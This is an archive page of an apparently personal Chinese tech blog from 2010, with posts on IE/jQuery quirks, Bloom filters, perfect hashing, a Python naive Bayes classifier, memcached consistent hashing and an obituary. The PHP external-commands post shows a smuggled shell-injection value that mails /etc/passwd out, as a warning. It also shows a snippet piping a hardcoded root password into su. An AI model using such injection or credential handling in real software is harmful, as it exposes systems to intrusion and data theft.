狗日的 MSIE

2010年8月25日 g 没有评论

昨天写社区广告的 js 渲染器,结果又和 ie 杠上了, 几点总结:

1. 问题源自自定义标签,看起来挺好,纠结也源自这里,还是要有选择的折腾。
2. 非 ie 下的 jquery 提交(POST/GET) 都可以直接仍数组:{‘places[]‘:arr_places}, 狗日的 ie 不行,需要完全手工拼接。
3. jQuery.param 看起来挺好,也不支持数组。
4. 狗日的 ie 会将自定义标签处理为 HTMLUnknownElement,而且如 <ad place=”….”></ad> 会被凶残的处理为 <ad place=”….” /> </ad /> 两个元素,继而无法正常使用 innerHTML/$.html()、$.replaceWith() 等方法
5. jQuery(“ad”) 取不到元素,jQuery(“ad:xx”) 居然可以(甚至 xx 可以毫无意义), jq1.3
6. 带名称空间的 jq 选择方法 jQuery(“club\\:ad”) // <html … xmlns:club=”http://club.sohu.com”> , xhtml
7. 几乎不会用到的尾标签 jQ 选择方法:jQuery(“\\/ad”); (也有 5 的问题).
8. 别把 $.replaceWith/outerHTML 遗忘.
9. 工具还是必不可少的 firebug (for ie/oprea etc.)

分类: 烂笔头 标签: ,

一分钱一分货, 极度悔恨中.

2010年6月20日 g 1 条评论


连续头脑发热,连续贪便宜,结果连续弄了两个废品,微软那个太 mini,完全没感觉,罗技这个倒是够大,外观也尚可一看,谁知握到手里粗糙不说性能极差,mac 下几乎拖不动的感觉,尤其是在M555b的对比之下,极度悔恨中..

分类: xbox 标签:

bloom filter 备忘(2)

2010年5月10日 g 没有评论

Bloom 过滤器(以下称 Bloom Filter 或 BF) 采用位数组表示数据集合并有效支持集合元素的成员查询,由于其能显著节省存储空间,在对错误率不敏感的领域(如字典查询、数据库),Bloom Filter 有着广泛的应用。
随着网络及数据流处理技术的飞速发展使 Bloom Filter 焕发了新的活力,数据流等新应用场景也推动了 Bloom Filter 理论的发展,产生了计数型 Bloom 过滤器(Counting Bloom Filter, CBF) 、光谱 Bloom 过 滤 器 (Spectral Bloom Filter, SBF)和动态计数过滤器(Dynamic Counting Filter, DCF)等多种 Bloom Filter。

标准 Bloom Filter:
前文已经示例了一个 bloom filter 的 Toy Demo 实现. 并简要介绍了 bf 的基本原理.
参考文档:Bloom Filter概念和原理
数 学之美系列 - 布隆过滤器

标准 Bloom Filter 不支持从集合中删除元素,如果删除元素时把相应的位置为 0,而别的元素也哈希到这一位,那么 Bloom Filter 就不再正确地反映集合中的所有元素,而产生假阴性。同时也不能完成计数等功能,于是一些变种出现了。

计数型 Bloom Filter (CBF)
Counting Bloom Filter的出现解决了这个问题,它将标准Bloom Filter位数组的每一位扩展为一个小的计数器(Counter),在插入元素时给对应的k(k为哈希函数个数)个Counter的值分别加1,删除元素时给对应的k个Counter的值分别减1。Counting Bloom Filter通过多占用几倍的存储空间的代价,给Bloom Filter增加了删除操作。
基本结构:


参考文档:Counting Bloom Filter

光谱Bloom过滤器(SBF)
标准 Bloom Filter 和 CBF 解决了元素与集合的成员查询问题。在最近涌现的数据流应用中,用户不仅关注元素的成员归属,而且关注多个元素出现的频数。SBF扩展了CBF,利用 CBF的计数器支持计数查询。
基本结构:


参考文档:Counting Bloom Filter

动态计数过滤器(DBF)
SBF解决了由于计数器大小变动带来的动态存储问题,但是引入了复杂的索引结构,每个计数器的访问变得复杂而耗时,元素频数出现剧烈变化时的索引重建也十分耗时。于是 DCF 出现了,DCF支持元素出现频数查询,结构又相对简单。
基本结构:


参考文档:Dynamic Count Filter

计数型 Bloom Filter 的简单比较

计数器大小 内存占用 访问速度 重建率 计数器溢出
CBF 固定
SBF 动态 较多 最终会
DCF 动态 较多 不会

可以看出,CBF虽然内存占用少、访问速度快、无重建操作,但是存在无法解决的计数器溢出问题。SBF与DCF相比,在内存占用方面,由于DCF中计数器的最大值决定了整个DCF所占的空间,因此在元素分布比较均匀、增删
操作相对平均的情况下,计数器的值相差不大,而且DCF不用维护复杂的索引结构,占用空间比SBF少。如果少数计数器的值显著大于其他计数器,SBF在空间使用方面会占据优势;在计数器的存取时间方面,DCF占有绝对的优势,它仅比标准CBF多了一次内存访问,而SBF的访问相对复杂;在处理数据抖动方面,SBF和DCF都不够理想,前者需要数据访问索引的重建,后者可能面临开销巨大的OFV数组重建工作。如何设计和维护计数器的结构也是CBF一个重要的研究方向。

分类: xbox 标签: ,

完美哈希函数(Perfect Hash Function)

2010年5月9日 g 没有评论

转自:http://blog.csdn.net/chixinmuzi/archive/2007/08/05/1727195.aspx

什么是 完美哈希函数
完美 哈希函数(Perfect Hash Function,简称PHF)就 是没有冲突的哈希函数,也就是,函数 H 将 N 个 KEY 值映射到 M 个整数上,这里 M>=N ,而且,对于任意的 KEY1 ,KEY2 ,H( KEY1 ) != H( KEY2 ) ,并且,如果 M = = N ,则 H 是最小完美哈希函数(Minimal Perfect Hash Function,简称MPHF

什么时 候使用PHFMPHF
通常情况下,PHF或MPHF是针对静态集合的。也就是,在使用PHF或MPHF时,所有的 KEY 值是事先已知并且固定的。不过,这里有 针对动态集合的一个算法。

使用PHFMPHF的一般流程
1.  (准备阶 段)将已知的所有的 KEY 值传给PHF或MPHF生成算法,生成PHF或MPHF以及相应的数据;
2.  (使用阶 段)调用已有的PHF或MPHF以及相应的数据快速计算哈希值并进行相应的操作。
其实在实际使用中我们只关心步骤2,但步骤1的生成算法却是PHF或MPHF的关键。

PHFMPHF生成程序库
GNU的完美哈希函数生成程序,可以生成PHF和MPHF,生成MPHF时和输入数据以及参数设置的关系比较大。使用的应该是比较简单的算法, 生成的效率不高,当数据量大时,程序就没什么反应了。生成的结果是代码(里面包含有数据,直接组织在代码里),移植性非常好。很多编译器对保留字的处理都 采用gperf来建立完美哈希函数。Windows版的可执行文件可以从这里下 载,源代码可以从这里下 载,一篇介绍论文在这里, 说明书在这 里,说明书中文翻译在这里
易用性:5
稳定性:5
移植性:5
效率 : 2
MPHF: 2
巴西的这个哥们Fabiano C. Botelho发了很多MPHF方面的论文。CMPH应该他和其他几个人开发的开源的生成MPHF的程序库。 这里面封装了4个算法,而且设计了一个程序框架(搞不懂他们为什么要设计这样一个框架,用MPHF的人不会 像他们做研究那样会一次使用那么多个算法的,而这样一个框架明显增加了使用的难度)。里面有几个算法是针对大数据量的,但简单试了试,发现并不像他们论文 里宣称的那样高效,而且由于是一个框架,生成的MPHF并不能直接脱离他们的环境来使用。这里是他们在SourceForge上的链接。
易用性:3
稳定性:2
移植性:2
效率   : 2
MPHF:5
又一个牛人写的生成MPHF的算法,注 意了,他写这个纯粹是为了好玩,考!
简单试了试,可以直接生成代码,但不是很好用,针 对大数据量效率也不行。
易用性:3
稳定性:3
移植性:4
效率 : 3
MPHF:5
又又一个牛人写的生成MPHF的算法,比 较好用,可以处理大数据量的集合,而且比较有特色的是关键字不仅仅可以是字符串,还可以是整数等。
易用性:5
稳定性:5
移植性:4
效率 : 5
MPHF:5
以上都是用C/C++来实现的PHF或MPHF生成程序 考,这是一个用Python实现的MPHF生成程序。还是比较好用的,遗憾的是对大数据量效率不行。
易用性:5
稳定性:5
移植性:4
效率 :3
MPHF:5

PHFMPHF生成算法
我一贯坚持的是拿来主义(只要不存在法律和道德风 险),所以对PHF和MPHF的生成算法我只是浅尝辄止,不敢在这里唧唧歪歪。下面给出一些链接,想研究这些算法好好看这些论文 吧。论文按大概时间顺序排列,最新的在最前面。

分类: xbox 标签:

贝叶斯分类实现

2010年5月9日 g 没有评论

最近做的一公司笔试题里的一道题:

背景:搜索引擎会根据用户搜索的关键字提供对应的广告,一般是通过统计学习实现(不限方法)。
脚本要求:附件articles.tar.bz2中的文本文件已经分好类了,请从每个类别中随机挑选90%文件做为训练集,然后将剩余文件分类并输出分类的正确率。

常用的文本分类有基于统计的方法(bayes)、决策树、神经网络等,实际使用时往往要以具体情况判断或组装。其中,朴素贝叶斯算法是这类应用中的重要一支,由于其实现简单、运算速度快、在良好训练的前提下往往有较高的精度而被广泛使用。

之前用 java 写过,这次要 python 实现,稍改了下,而且由于样本是英文的,中文分词也省下了,不过这样看起来更清晰一点 –//

【chap1】bayes 简述

Pr(A|B) = Pr(B|A)Pr(A)/Pr(B)

如果你看到一个人总是做一些好事,则那个人多半会是一个好人。这就是说,当你不能准确知悉一个事物的本质时,你可以依靠与事物特定本质相关的事件出现的多少去判断其本质属性的概率。用数学语言表达就是:支持某项属性的事件发生得愈多,则该属性成立的可能性就愈大。

贝叶斯法则又被称为贝叶斯定理、贝叶斯规则,指的是当分析样本大到接近总体数时,样本中事件发生的概率将接近于总体中事件发生的概率。是概率统计中的应用所观察到的现象对有关概率分布的主观判断(即先验概率)进行修正的标准方法。

关于基础理论就不多赘述了,标记几个链接,google 也可以得到数以顿记的结果。

基于朴素贝叶斯分类器的文本分类算法(上)
基于朴素贝叶斯分类器的文本分类算法(下)
朴素bayes公式分类器
bayes factor
经典算法之朴素贝叶斯分类

【chap2】demo 实现
tokenizer.py
#stem 使用了 stemming 组件(http://pypi.python.org/pypi/stemming/1.0)
#easy_install stemming

#coding:utf-8
import re
from stemming.porter2 import stem

class tokenizer:
    """ 切词器(EN) """

    def __init__(self):
        self.__stopWords = set(["0", "1", "2", "3", "4", "5", "6", "7",
                                "8", "9", "about", "after", "all", "also",
                                "an", "and", "another", "any", "are", "as",
                                "at", "be", "because", "been", "before",
                                "being", "between", "both", "but", "by",
                                "came", "can", "come", "could", "did", "do",
                                "does", "each", "else", "for", "from", "get",
                                "got", "has", "had", "he", "have", "her",
                                "here", "him", "himself", "his", "how", "if",
                                "in", "into", "is", "it", "its", "just", "like",
                                "make", "many", "me", "might", "more", "most",
                                "much", "must", "my", "never", "now", "of",
                                "on", "only", "or", "other", "our", "out",
                                "over", "re", "said", "same", "see", "should",
                                "since", "so", "some", "still", "such", "take",
                                "than", "that", "the", "their", "them", "then",
                                "there", "these", "they", "this", "those",
                                "through", "to", "too", "under", "up", "use",
                                "very", "want", "was", "way", "we", "well",
                                "were", "what", "when", "where", "which", "while",
                                "who", "will", "with", "would", "you", "your",
                                "a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
                                "k", "l", "m", "n", "o", "p", "q", "r", "s","t",
                                "u", "v", "w", "x", "y", "z", ""])

    def parse(self, text):
        """ 获取词干/清理停用词

            @param text 待处理文本
            @return 有效文本
        """
        sentence = []
        for word in re.split("\W", stem(text).lower()):
            if word not in self.__stopWords:
                sentence.append(word)

        return sentence

bayesclassifier.py

#coding:utf-8

import os
import math
import tokenizer

class bayesClassifier:
    """ 贝叶斯分类器 """

    __trainingdata = {}                     # 存储训练数据
    __tokenizer = tokenizer.tokenizer()     # 切词器

    def __count(self, cls, lst):
        """ 计算指定文本隶属指定分类的概率

            @param cls 假定分类
            @param lst 待分析文档切词列表
            @return 结果预测
        """

        total = len(self.__trainingdata[cls])
        res = 1

        for s in lst:
            if s not in self.__trainingdata[cls]:
                # 避免乘积累积降低精度,改用对数相加
                # 规避语料未经"训练"的情况,也就是p(di/m)=0,做拉普拉斯校准,即令每一个切词基数+1
                res += math.log(float(1) / total)
                #res *= float(1) / total
            else:
                res += math.log(float(self.__trainingdata[cls][s] + 1) / total)
                #res *= float(self.__trainingdata[cls][s] + 1) / total

        return res

    def train(self, cls, text):
        """ 样本训练

            @param cls  样本所属分类
            @param text 样本内容
        """

        if cls not in self.__trainingdata:
            self.__trainingdata[cls] = {}

        # 统计各分类单词出现次数
        for word in self.__tokenizer.parse(text):
            if word not in self.__trainingdata[cls]:
                self.__trainingdata[cls][word]  = 1
            else:
                self.__trainingdata[cls][word] += 1

    def classify(self, text):
        """ 获取分类结果

            @param text 待测数据
        """

        t = -1 << 32
        res = "unkown"

        for cls in self.__trainingdata.keys():
            c = self.__count(cls, self.__tokenizer.parse(text))
            if c > t:
                res = cls
                t = c

        return res

StartUp.py

#!/usr/bin/env python
#coding:utf-8

"""
使用朴素贝叶斯算法对邮件归类 demo
@auth g 2010-05
"""

import os
import bayesClassifier

# 样本数据路经
articles = r"./articles"
# 分类器
classfier = bayesClassifier.bayesClassifier()

if __name__ == "__main__":
    # 训练
    print "#train.."

    for cls in os.listdir(articles):
        for f in os.listdir(os.path.join(articles, cls)):
            # 抽取文件名末位非0的文本为训练数据
            if int(f.rstrip(".txt")) % 10 != 0:
                classfier.train(cls, open(os.path.join(articles, cls, f)).read())

    # 测试
    print "#test.."

    # 标记测试总数/失败数
    totality = 0
    failed = 0

    for cls in os.listdir(articles):
        for f in os.listdir(os.path.join(articles, cls)):
            # 抽取文件名末位非0的文本为训练数据
            if int(f.rstrip(".txt")) % 10 == 0:

                expect = cls
                effect = classfier.classify(open(os.path.join(articles, cls, f)).read())

                if effect != expect:
                    failed += 1
                totality += 1

                print "%s\t@%s" % ("".join([cls, "/", f]), effect)

    # 结论
    print "#mark:"
    print "total %d tested." % totality
    print "failed: %d" % failed
    print "hit rate: %f" % (1 - float(failed) / totality)

实际测试中,取测试样本中末位不为0的文本为训练素材,其余为测试数据,正确率接近97%,表现出了较好的精度。

#mark:
total 394 tested.
failed: 12
hit rate: 0.969543

附样本数据:articles

分类: 烂笔头 标签: , , ,

php 执行外部命令小节

2010年5月5日 g 没有评论

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。

#前提条件
由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
执行外部命令/在打开文件时有些限制/连接MySQL数据库/基于HTTP的认证
在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上–with-exec-dir选项来指定,默认是/usr/local/php /bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

#如何做
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
eg:

system(”/usr/local/bin/webalizer/webalizer”);

exec()
原型:string exec (string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
eg:

exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);

passthru()
原型:void passthru (string command [, int return_var])
passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
eg:

header(”Content-type: image/gif”);
passthru(”./ppmtogif hunte.ppm”);

总结三个函数的异同点:
异:
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
同:
都可以获得命令执行的状态码

2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用 pclose()函数来关闭它。
eg1:

$fp=popen(”/bin/ls -l”, “r”);

eg2:

/** PHP 中增加一个名为james的系统用户,root密码是 verygood */
$sucommand = “su –login root –command”;
$useradd = "useradd";
$rootpasswd = "verygood”;
$user = "james";
$user_add = sprintf("%s "%s %s”",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);

3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

$res = '/bin/ls -l';
echo `$res`;

#要考虑些什么?
要考虑两个问题:安全性和超时。
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的 EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail 程序来发送这个文件。程序就象这样:

system(”mail $to < products.txt”);
echo “我们的产品目录已经发送到你的信箱:$to”;

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'–bla ; mail someone@domain.com < /etc /passwd ;'

那么这条命令最终变成:

'mail –bla ; mail someone@domain.com < /etc/ passwd ; < products.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:

system(”/usr/local/bin/order_proc > /dev/null &”);

节选自:http://b.2008map.com/archives/2009/753.html

分类: 烂笔头 标签: ,

HTTP 1.1与HTTP 1.0

2010年5月5日 g 没有评论

HTTP 1.0规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后立即断开TCP连接,服务器不跟踪每个客户也不记录过去的请求。
–not end of article–

分类: 烂笔头 标签:

NoSql 笔谈

2010年4月16日 g 没有评论

NoSql 数据库笔谈

@Auth 颜开
v0.2 2010.2

分类: xbox 标签:

memcached 的分布式

2010年4月15日 g 1 条评论

发表于:2008/7/2
原作者:长野雅广(Masahiro Nagano)
原文链接:http://gihyo.jp/dev/feature/01/memcached/0001

memcached的分布式

memcached虽然称为“分布式”缓存服务器,但服务器端并没有“分布式”功能。 服务器端仅包括内存存储等功能,其实现非常简单。 至于memcached的分布式,则是完全由客户端程序库实现的。 这种分布式是memcached的最大特点。

memcached的分布式是什么意思?

这里多次使用了“分布式”这个词,但并未做详细解释。 现在开始简单地介绍一下其原理,各个客户端的实现基本相同。

下面假设memcached服务器有node1~node3三台, 应用程序要保存键名为“tokyo”“kanagawa”“chiba”“saitama”“gunma” 的数据。

memcached-0004-01.png

图1 分布式简介:准备

首先向memcached中添加“tokyo”。将“tokyo”传给客户端程序库后, 客户端实现的算法就会根据“键”来决定保存数据的memcached服务器。 服务器选定后,即命令它保存“tokyo”及其值。

memcached-0004-02.png

图2 分布式简介:添加时

同样,“kanagawa”“chiba”“saitama”“gunma”都是先选择服务器再保存。

接下来获取保存的数据。获取时也要将要获取的键“tokyo”传递给函数库。 函数库通过与数据保存时相同的算法,根据“键”选择服务器。 使用的算法相同,就能选中与保存时相同的服务器,然后发送get命令。 只要数据没有因为某些原因被删除,就能获得保存的值。

memcached-0004-03.png

图3 分布式简介:获取时

这样,将不同的键保存到不同的服务器上,就实现了memcached的分布式。 memcached服务器增多后,键就会分散,即使一台memcached服务器发生故障 无法连接,也不会影响其他的缓存,系统依然能继续运行。

接下来介绍之前提到的Perl客户端函数库Cache::Memcached实现的分布式方法。

Cache::Memcached的分布式方法

Perl的memcached客户端函数库Cache::Memcached是 memcached的作者Brad Fitzpatrick的作品,可以说是原装的函数库了。

该函数库实现了分布式功能,是memcached标准的分布式方法。

根据余数计算分散

Cache::Memcached的分布式方法简单来说,就是“根据服务器台数的余数进行分散”。 求得键的整数哈希值,再除以服务器台数,根据其余数来选择服务器。

下面将Cache::Memcached简化成以下的Perl脚本来进行说明。

use strict;
use warnings;
use String::CRC32;
my @nodes = ('node1','node2','node3');
my @keys = ('tokyo', 'kanagawa', 'chiba', 'saitama', 'gunma');
foreach my $key (@keys) {
  my $crc = crc32($key);             # CRC値
  my $mod = $crc % ( $#nodes + 1 );
  my $server = $nodes[ $mod ];       # 根据余数选择服务器
  printf "%s => %s\n", $key, $server;
}

Cache::Memcached在求哈希值时使用了CRC。

首先求得字符串的CRC值,根据该值除以服务器节点数目得到的余数决定服务器。 上面的代码执行后输入以下结果:

tokyo       => node2
kanagawa => node3
chiba       => node2
saitama   => node1
gunma     => node1

根据该结果,“tokyo”分散到node2,“kanagawa”分散到node3等。 多说一句,当选择的服务器无法连接时,Cache::Memcached会将连接次数 添加到键之后,再次计算哈希值并尝试连接。这个动作称为rehash。 不希望rehash时可以在生成Cache::Memcached对象时指定“rehash => 0”选项。

根据余数计算分散的缺点

余数计算的方法简单,数据的分散性也相当优秀,但也有其缺点。 那就是当添加或移除服务器时,缓存重组的代价相当巨大。 添加服务器后,余数就会产生巨变,这样就无法获取与保存时相同的服务器, 从而影响缓存的命中率。用Perl写段代码来验证其代价。

use strict;
use warnings;
use String::CRC32;
my @nodes = @ARGV;
my @keys = ('a'..'z');
my %nodes;
foreach my $key ( @keys ) {
  my $hash = crc32($key);
  my $mod = $hash % ( $#nodes + 1 );
  my $server = $nodes[ $mod ];
  push @{
    $nodes {
	  $server
  	  }
   }, $key;
}
foreach my $node ( sort keys %nodes ) {
  printf "%s: %s\n", $node,  join ",", @{ $nodes{$node} };
}

这段Perl脚本演示了将“a”到“z”的键保存到memcached并访问的情况。 将其保存为mod.pl并执行。

首先,当服务器只有三台时:

$ mod.pl node1 node2 nod3
node1: a,c,d,e,h,j,n,u,w,x
node2: g,i,k,l,p,r,s,y
node3: b,f,m,o,q,t,v,z

结果如上,node1保存a、c、d、e……,node2保存g、i、k……, 每台服务器都保存了8个到10个数据。

接下来增加一台memcached服务器。

$ mod.pl node1 node2 node3 node4
node1: d,f,m,o,t,v
node2: b,i,k,p,r,y
node3: e,g,l,n,u,w
node4: a,c,h,j,q,s,x,z

添加了node4。可见,只有d、i、k、p、r、y命中了。像这样,添加节点后 键分散到的服务器会发生巨大变化。26个键中只有六个在访问原来的服务器, 其他的全都移到了其他服务器。命中率降低到23%。在Web应用程序中使用memcached时, 在添加memcached服务器的瞬间缓存效率会大幅度下降,负载会集中到数据库服务器上, 有可能会发生无法提供正常服务的情况。

mixi的Web应用程序运用中也有这个问题,导致无法添加memcached服务器。 但由于使用了新的分布式方法,现在可以轻而易举地添加memcached服务器了。 这种分布式方法称为 Consistent Hashing。

Consistent Hashing

关于Consistent Hashing的思想,mixi株式会社的开发blog等许多地方都介绍过, 这里只简单地说明一下。

Consistent Hashing的简单说明

Consistent Hashing如下所示:首先求出memcached服务器(节点)的哈希值, 并将其配置到0~2^32的圆(continuum)上。 然后用同样的方法求出存储数据的键的哈希值,并映射到圆上。 然后从数据映射到的位置开始顺时针查找,将数据保存到找到的第一个服务器上。 如果超过232仍然找不到服务器,就会保存到第一台memcached服务器上。

memcached-0004-04.png

图4 Consistent Hashing:基本原理

从上图的状态中添加一台memcached服务器。余数分布式算法由于保存键的服务器会发生巨大变化 而影响缓存的命中率,但Consistent Hashing中,只有在continuum上增加服务器的地点逆时针方向的 第一台服务器上的键会受到影响。

memcached-0004-05.png

图5 Consistent Hashing:添加服务器

因此,Consistent Hashing最大限度地抑制了键的重新分布。 而且,有的Consistent Hashing的实现方法还采用了虚拟节点的思想。 使用一般的hash函数的话,服务器的映射地点的分布非常不均匀。 因此,使用虚拟节点的思想,为每个物理节点(服务器) 在continuum上分配100~200个点。这样就能抑制分布不均匀, 最大限度地减小服务器增减时的缓存重新分布。

通过下文中介绍的使用Consistent Hashing算法的memcached客户端函数库进行测试的结果是, 由服务器台数(n)和增加的服务器台数(m)计算增加服务器后的命中率计算公式如下:

(1 – n/(n+m)) * 100

支持Consistent Hashing的函数库

本连载中多次介绍的Cache::Memcached虽然不支持Consistent Hashing, 但已有几个客户端函数库支持了这种新的分布式算法。 第一个支持Consistent Hashing和虚拟节点的memcached客户端函数库是 名为libketama的PHP库,由last.fm开发。

至于Perl客户端,前面介绍过的Cache::Memcached::Fast和Cache::Memcached::libmemcached支持 Consistent Hashing。

两者的接口都与Cache::Memcached几乎相同,如果正在使用Cache::Memcached, 那么就可以方便地替换过来。Cache::Memcached::Fast重新实现了libketama, 使用Consistent Hashing创建对象时可以指定ketama_points选项。

my $memcached = Cache::Memcached::Fast->new({
      servers => ["192.168.0.1:11211","192.168.0.2:11211"],      ketama_points => 150
 });

另外,Cache::Memcached::libmemcached 是一个使用了Brain Aker开发的C函数库libmemcached的Perl模块。 libmemcached本身支持几种分布式算法,也支持Consistent Hashing, 其Perl绑定也支持Consistent Hashing。

总结

本次介绍了memcached的分布式算法,主要有memcached的分布式是由客户端函数库实现, 以及高效率地分散数据的Consistent Hashing算法。下次将介绍mixi在memcached应用方面的一些经验, 和相关的兼容应用程序。

分类: xbox 标签: ,

前辈走好

2010年4月9日 g 没有评论

2010/04/08 晴 八宝山竹园厅
赶到的时候近七点半,广场上已经聚集了大批前来悼念的各界人士,花圈也已连绵排出了大厅。
挽帐“沉痛悼念王江民先生”,挽联“音容宛在勤奋一生传佳话,神魂离去芳名百世著清风”。
作为行业前辈,技术草莽时代的代表人物之一,王老师一直为人敬仰,身有残疾而拥有数十项发明专利;初中学历而能编写出最畅销的杀软;45岁创业而能跻身“中国IT富豪榜50强”。

悼言
王(江民)老师不仅是我们同行业中的前辈,也是大家的良师益友。其身残志坚的毅力和品质让很多后辈的程序员面对困难和挫折时,从中得到鼓舞。
——金山CEO求伯君

王江民老师年近40才开始学计算机,四十五六才创业,取得了巨大的成功,这不是一般人能做到的,值得所有创业者学习。
——奇虎董事长周鸿祎

杀毒市场风云变换,有人令人恨,有人令人怕,但是王江民一直是圈子里令人敬重的人物。王江民的时代,是一个技术天才的大草莽时代。
——蓝港在线CEO王峰

王江民先生离世,对中国反病毒领域是个巨大的损失。他不但在反病毒行业是个成功的企业家,并且是一个令人尊敬的竞争对手。
——卡巴斯基亚太区董事总经理 张立申

愿王老师一路走好,在天堂继续演绎传奇!

分类: xbox 标签: